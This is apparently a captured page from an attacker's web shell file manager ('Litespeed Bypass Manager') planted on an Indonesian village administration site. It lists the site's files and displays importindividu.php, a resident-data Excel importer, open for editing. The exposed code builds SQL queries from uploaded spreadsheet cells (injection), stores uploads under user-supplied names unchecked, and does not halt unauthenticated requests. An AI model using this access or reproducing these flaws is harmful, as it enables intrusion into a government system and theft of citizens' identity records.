Litespeed kontol

Isi Folder

📁 TemplateFolder
📁 assetsFolder
📁 assets2Folder
📁 calenderFolder
📁 ckeditorFolder
📁 cssFolder
📁 datatablesFolder
📁 fontsFolder
📁 imagesFolder
📁 includesFolder
📁 jsFolder
📁 leafletFolder
📁 scriptsFolder
📁 spreadsheet-reader-masterFolder
📁 uploadsFolder
📁 vendorFolder
📄 aksi.phpEdit
📄 aksiGetPenduduk.phpEdit
📄 aksiGetPenduduk2.phpEdit
📄 apbdes.phpEdit
📄 artikel.phpEdit
📄 belanja_proses.phpEdit
📄 buat_surat.phpEdit
📄 buat_surat2.phpEdit
📄 cari_penduduk.phpEdit
📄 config.phpEdit
📄 daftar_proses.phpEdit
📄 data.phpEdit
📄 data_surat.phpEdit
📄 error_logEdit
📄 excel_reader.phpEdit
📄 exportexcelindividu.phpEdit
📄 exportexcelkeluarga.phpEdit
📄 exportxls.phpEdit
📄 functions.phpEdit
📄 hapus_artikel_proses.phpEdit
📄 hapus_legal_proses.phpEdit
📄 hapus_lembaga_proses.phpEdit
📄 hapus_profil_proses.phpEdit
📄 hapus_sig_proses.phpEdit
📄 hapus_surat.phpEdit
📄 hapus_user_proses.phpEdit
📄 hidden_aduan_proses.phpEdit
📄 hidden_profil_proses.phpEdit
📄 home.phpEdit
📄 importindividu.phpEdit
📄 importkeluarga.phpEdit
📄 index.phpEdit
📄 individu.phpEdit
📄 keluarga.phpEdit
📄 konfigurasi.phpEdit
📄 laporan_bulan.phpEdit
📄 legal.phpEdit
📄 lembaga.phpEdit
📄 lembaga_proses.phpEdit
📄 lembaga_ubah_proses.phpEdit
📄 logo_proses.phpEdit
📄 modal_detail.phpEdit
📄 modal_disposisi.phpEdit
📄 modal_selesai.phpEdit
📄 modal_tindaklanjut.phpEdit
📄 modal_ubah_anggaran.phpEdit
📄 modal_ubah_artikel.phpEdit
📄 modal_ubah_belanja.phpEdit
📄 modal_ubah_individu.phpEdit
📄 modal_ubah_keluarga.phpEdit
📄 modal_ubah_legal.phpEdit
📄 modal_ubah_lembaga.phpEdit
📄 modal_ubah_profil.phpEdit
📄 modal_ubah_realisasi.phpEdit
📄 modal_ubah_realisasibelanja.phpEdit
📄 modal_ubah_sig.phpEdit
📄 modal_ubah_user.phpEdit
📄 modal_view_individu.phpEdit
📄 modal_view_keluarga.phpEdit
📄 modal_view_mutasipenduduk.phpEdit
📄 modal_view_surat.phpEdit
📄 mutasi_penduduk.phpEdit
📄 notif.jsEdit
📄 notif.phpEdit
📄 notif_pengaduan.phpEdit
📄 notifikasi.phpEdit
📄 pemdes.phpEdit
📄 pendapatan_proses.phpEdit
📄 penduduk_keluar.phpEdit
📄 penduduk_masuk.phpEdit
📄 pengaduan.phpEdit
📄 profil.phpEdit
📄 profil_proses.phpEdit
📄 profil_ubah_proses.phpEdit
📄 proses_konfigurasi.phpEdit
📄 proses_penduduk_keluar.phpEdit
📄 proses_penduduk_masuk.phpEdit
📄 proses_upload.phpEdit
📄 regUser.phpEdit
📄 sig.phpEdit
📄 simpan_surat.phpEdit
📄 surat.phpEdit
📄 surat_aksi.phpEdit
📄 tambah_artikel_proses.phpEdit
📄 tambah_legal_proses.phpEdit
📄 tambah_sig_proses.phpEdit
📄 tampil_aduan_proses.phpEdit
📄 tampil_profil_proses.phpEdit
📄 template_surat.phpEdit
📄 template_surat2.phpEdit
📄 to_xls.phpEdit
📄 ubahDisposisi.phpEdit
📄 ubahPassword.phpEdit
📄 ubahSelesai.phpEdit
📄 ubahStatus_user_proses.phpEdit
📄 ubahTindakan.phpEdit
📄 ubah_artikel_proses.phpEdit
📄 ubah_belanja_proses.phpEdit
📄 ubah_individu_proses.phpEdit
📄 ubah_keluarga_proses.phpEdit
📄 ubah_legal_proses.phpEdit
📄 ubah_pendapatan_proses.phpEdit
📄 ubah_realisasi_proses.phpEdit
📄 ubah_realisasibelanja_proses.phpEdit
📄 ubah_sig_proses.phpEdit
📄 ubah_user_proses.phpEdit
📄 viewBottomProfil.phpEdit
📄 viewTopProfil.phpEdit
📄 viewapbdes.phpEdit
📄 viewartikel.phpEdit
📄 viewbelanja.phpEdit
📄 viewbpd.phpEdit
📄 viewer.phpEdit
📄 viewindividu.phpEdit
📄 viewkeluarga.phpEdit
📄 viewlegal.phpEdit
📄 viewlpmd.phpEdit
📄 viewmutasipenduduk.phpEdit
📄 viewpemdes.phpEdit
📄 viewrealisasi.phpEdit
📄 viewrealisasibelanja.phpEdit
📄 viewsig.phpEdit
📄 viewsuara.phpEdit
📄 viewsurat.phpEdit
📄 viewuser.phpEdit

Edit File: importindividu.php

<?php
include_once '../librari/inc.koneksidb.php';
require('spreadsheet-reader-master/php-excel-reader/excel_reader2.php');
		require('spreadsheet-reader-master/SpreadsheetReader.php');
session_start();
$hak_akses = isset($_SESSION['hak_akses']);

if (!isset($_SESSION['username']) && $hak_akses == "") {
?>
  <script language="JavaScript">
    alert('Anda Belum Login. Silahkan Login dahulu!');
    document.location = '../login.php';
  </script>
  
<?php
}
?>
<!DOCTYPE html>
<html lang="id">

<link rel="stylesheet" href="css/nivo-slider.css" type="text/css" />
	<link rel="stylesheet" href="css/owl.carousel.css">
	<link rel="stylesheet" href="css/bootstrap.min.css">
	<link rel="stylesheet" href="css/font-awesome.min.css">
	<link rel="stylesheet" href="css/style.css">
	<link rel="stylesheet" href="css/responsive.css">
	<link rel="stylesheet" href="css/bootstrap.css">

<script src="js/jquery.min.js" type="text/javascript"></script>
	<script src="js/bootstrap.min.js" type="text/javascript"></script>
	<script src="https://cdn.jsdelivr.net/npm/jquery@3.5.1/dist/jquery.slim.min.js"></script>
	<script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.1/dist/umd/popper.min.js"></script>
	<script src="https://cdn.jsdelivr.net/npm/bootstrap@4.6.1/dist/js/bootstrap.bundle.min.js"></script>
	
	</head>
	<body>
 
	<section id="blog">
		<div class="container-fluid">
			<div class="row">
				<div class="col-md-12 clearfix">
			
		    		<div class="header">
		        		
		        		<h1 >Unggah Data Penduduk</h1>
		      		</div>
			      	<div class="alert alert-info" style="margin-top:10px;">
					<p><strong>Petunjuk Unggah Data Penduduk:</strong></p>
					<p>1. Format file excel.XLSX sesuai template yang ada di link download. <br>
					   2. Jangan merubah kolom, baris dan format yang disediakan. Pembacaan data dimulai dari baris ke-2. <br>
					   3. Tampilkan file untuk review data yang akan di upload ke Data Base.</p>
					<p><a href="Template/Penduduk Template.xlsx" target="_blank" class="alert-link">
					<i class="fa fa-cloud-download"></i> Download Template Excel Data Penduduk. </a></p>
					</div>
					
					
					<div class="container-fluid mb-4">
						  <h2>Pilih File</h2>
						  <p>Pastikan file sesuai dengan petunjuk. Tampilkan data sebelum melakukan Submit data, 
						  penolakan data apabila terjadi Nomer KTP dan KK yang kosong. jika Nomer KTP sudah ada di database maka dilakukan update komponen atribut. <strong>Notifikasi Data sukses jika file berhasil diupload.</strong></p>
						  <form action="" method="post"  enctype="multipart/form-data">
							<p>Custom file:</p>
							
							<div class="custom-file mb-3">
							  <input type="file" class="custom-file-input" id="customFile" name="filependuduk" required="required"/>
							  <label class="custom-file-label" for="customFile">Choose file</label>
							</div>
							
							
							<div class="mt-3 pull-right ">
							  <button type="submit" name="upload" class="btn btn-success">Tampil</button>
							  <a href="index.php" class="btn btn-danger">Batal</a>
							</div>
							
							</form>
					</div>
	<script>
// Add the following code if you want the name of the file appear on select
$(".custom-file-input").on("change", function() {
  var fileName = $(this).val().split("\\").pop();
  $(this).siblings(".custom-file-label").addClass("selected").html(fileName);
});
</script>
						
 
	<?php
	if (isset($_POST['upload'])) {

//upload data excel kedalam folder uploads
		$target_dir = "uploads/".basename($_FILES['filependuduk']['name']);
		
		move_uploaded_file($_FILES['filependuduk']['tmp_name'],$target_dir);

$Reader = new SpreadsheetReader($target_dir);
		?>
		<div class="row" style="margin-top:10px;">
		<div class="col-md-9">
		<h2><?php echo basename($_FILES['filependuduk']['name']); ?></h2>
		</div>
		<div class="col-md-3">
		<script>
        $(document).ready(function() {
            // Sembunyikan alert validasi kosong
            $("#isi").hide();
        });						
	</script>	
<div id="isi" class="alert alert-success" style="margin-top:10px;">
					<p><strong>Data sukses ditampilkan : <span id='jumlah_isi'></span></strong></p>
					
					</div>	
		</div>
		</div>
	<div class='table-responsive mb-1'>
	
	
    <table id="my-grid" class="table table-striped" style="font-size:11px;">
        <thead >
		<tr class="table-info">
			<th>No</th>
			<th>No KTP</th>
			<th>No KK</th>
			<th>Nama_Penduduk</th>			
			<th>Agama</th>
			<th>Tempat Lahir</th>
			<th>Tanggal Lahir</th>			
			<th>Jenis Kelamin</th>
			<th>Gol_Darah</th>
			<th>Kenegaraan</th>			
			<th>Pendidikan</th>
			<th>Pekerjaan</th>
			<th>Pernikahan</th>			
			<th>Bagian_Keluarga</th>
		</tr>
		</thead>
		<tbody>
<?php		
		$no=1;
		$isi=0;
		foreach ($Reader as $Key => $Row)
		{
			
			// import data excel mulai baris ke-3 (karena ada header pada baris 2)
			if ($Key < 2) continue;		
				 if (($Row[1] == "") or ($Row[2] == ""))		
				
				continue; // Lewat data pada baris ini (masuk ke looping selanjutnya / baris selanjutnya)
			
			
			if (!empty($Row[8]) == "")
			 $darah = ((!empty($Row[8])) ? "" : "N/A");
			else
				 $darah =$Row[8];
			 
			 if (!empty($Row[10]) == "")
			 $pendidikan = ((!empty($Row[10])) ? "" : "N/A");
			else
				 $pendidikan =$Row[10];
			 
			 if (!empty($Row[11]) == "")
			 $pekerjaan = ((!empty($Row[11])) ? "" : "N/A");
			else
				 $pekerjaan =$Row[11];
			 
			 if (!empty($Row[12]) == "")
			 $nikah = ((!empty($Row[12])) ? "" : "N/A");
			else
				 $nikah =$Row[12];
			 
			?>
			<tr>
				
				<td><?=$no; ?></td>
				<td><?=$Row[1]; ?></td>
				<td><?=$Row[2]; ?></td>
				<td><?=$Row[3]; ?></td>				
				<td><?=$Row[4]; ?></td>
				<td><?=$Row[5]; ?></td>
				<td><?=$Row[6]; ?></td>
				<td><?=$Row[7]; ?></td>
				<td><?=$darah; ?></td>
				<td><?=$Row[9]; ?></td>
				<td><?=$pendidikan; ?></td>
				<td><?=$pekerjaan; ?></td>				
				<td><?=$nikah; ?></td>
				<td><?=$Row[13]; ?></td>
				
			</tr>
			<?php
			$isi++;
			
			
			 
			
			
			$no++;
		}
		?>
		</tbody>
		</table>
		
		<div class="mt-2 mb-2">
		<script>
                    $(document).ready(function() {
                        // Ubah isi dari tag span dengan id jumlah_kosong dengan isi dari variabel kosong
                        $("#jumlah_isi").html('<?php echo $isi ?>');
                        $("#isi").show(); // Munculkan alert validasi kosong
                    });
                </script>
		<form action="" method="POST">
		<div class="custom-file mb-3">
			<?php 
			
			
			?>
		<input type="text"  value="<?php echo basename($_FILES['filependuduk']['name']); ?>" name="fileimport" hidden/>
		
		</div>
		<button  type="submit" name="import" class="btn btn-warning" >Submit</button>
		</div>

</form>
	
		</div>
		<?php
		
		
		
	
	}
?>	
<div id="importdata">
<?php
	if (isset($_POST['import'])) {

$target_dir2 = "uploads/".basename($_POST['fileimport']);
		$Reader2 = new SpreadsheetReader($target_dir2);
		
		$no=1;
		$isi=0;
		$update=0;
		foreach ($Reader2 as $Key2 => $Row2)
		{
			
			// import data excel mulai baris ke-3 (karena ada header pada baris 2)
			if ($Key2 < 2) continue;		
				 if (($Row2[1] == "") or ($Row2[2] == ""))		
				
				continue; // Lewat data pada baris ini (masuk ke looping selanjutnya / baris selanjutnya)
		
			if (!empty($Row2[8]) == "")
			 $darah = ((!empty($Row2[8])) ? "" : "N/A");
			else
				 $darah =$Row2[8];
			 
			 if (!empty($Row2[10]) == "")
			 $pendidikan = ((!empty($Row2[10])) ? "" : "N/A");
			else
				 $pendidikan =$Row2[10];
			 
			 if (!empty($Row2[11]) == "")
			 $pekerjaan = ((!empty($Row2[11])) ? "" : "N/A");
			else
				 $pekerjaan =$Row2[11];
			 
			 if (!empty($Row2[12]) == "")
			 $nikah = ((!empty($Row2[12])) ? "" : "N/A");
			else
				 $nikah =$Row2[12];
			 $nama=addslashes($Row2[3]);
			 
	$sqlcek = "SELECT * from warga where no_ktp='$Row2[1]'";
	$querycek = mysql_query($sqlcek, $koneksiDbs) or die("Validasi".mysql_error());
	$jumlah = mysql_num_rows($querycek);
	if ($jumlah >0){
		$sqlupdate = "update warga set no_kk='$Row2[2]',nama='$nama',agama='$Row2[4]',t_lahir='$Row2[5]',tgl_lahir='$Row2[6]',j_kel='$Row2[7]',gol_darah='$darah',w_negara='$Row2[9]',pendidikan='$pendidikan',pekerjaan='$pekerjaan',s_nikah='$nikah',status='$Row2[13]' where no_ktp='$Row2[1]'";
		$queryupdate = mysql_query($sqlupdate,$koneksiDbs) or die ("Gagal query".mysql_error());
		$update++;
	}
	if ($jumlah < 1) {
		
			$sql = "insert into warga values ('$Row2[1]','$Row2[2]','$nama','$Row2[4]','$Row2[5]','$Row2[6]','$Row2[7]','$darah','$Row2[9]','$pendidikan','$pekerjaan','$nikah','$Row2[13]')"; 
			$query = mysql_query($sql,$koneksiDbs) or die ("Gagal query".mysql_error());
			
			$isi++;
			
		}
		$no++;
		}
		if ($isi+$update > 0){
			?>
		<div class="alert alert-info">
		<strong>Berhasil Upload Data Penduduk.</strong> Jumlah data Penduduk ditambahkan sebanyak <?php echo $isi;?>, Jumlah data Penduduk diperbarui sebanyak <?php echo $update;?>
		</div>
		<?php	
		}
		if ($isi+$update < 1){
			?>
		<div class="alert alert-danger">
		<strong>Tidak ada Upload Data!</strong>
		</div>
		<?php	
		}
		
		unlink($target_dir2);
	}
	
		?>
	</div>
				
					
		</div>			
		</div>	      	
		</div>    	
		</div>
</body>
</html>

Catatan: Mengedit file biner tidak disarankan.

Litespeed Bypass Manager

Buat Folder Baru

Upload File

Isi Folder

Edit File: importindividu.php